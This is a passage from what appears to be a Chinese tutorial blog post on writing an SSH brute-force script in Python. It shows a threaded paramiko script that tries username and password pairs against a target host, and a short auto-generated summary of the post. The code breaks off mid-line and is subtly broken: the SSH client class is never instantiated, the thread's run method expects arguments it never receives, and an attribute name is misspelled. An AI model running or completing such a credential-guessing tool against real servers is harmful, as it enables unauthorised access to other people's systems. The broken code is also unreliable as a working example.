#-*- coding:utf-8 -*-
import optparse
import sys
import os
import threading
import paramiko
#parasmiko为ssh登录模块
class ThreadWork(threading.Thread):
def __init__(self,ip,usernameBlock,passwordBlock,port):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.usernameBlock = usernameBlock
self.passworkBlock = passwordBlock
def run(self,username,password):
'''
用死循环防止因为error reading ssh protocol banner错误
导致线程没有验证账号密码是否正确就抛弃掉
'''
while True:
try:
#设置日志文件
paramiko.util.log_to_file('SSHattack.log')
ssh = paramiko.SSHClient
#接受壁纸本地Konow_host文件下的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#用sys.stdout.write输出信息,解决用print输出错位问题
sys.stdout.write("[*]ssh[{}:{}:{}] => {}\n".format(username,password,self.port,self.ip))
ssh.connect(hostname=self.ip,port=self.<
python安全攻防第七章ssh爆破脚本
本文介绍了使用Python实现SSH爆破脚本的过程,并提及了当前脚本存在的重复提交密码问题,计划通过复习Python多线程技术进行优化解决。
摘要由CSDN通过智能技术生成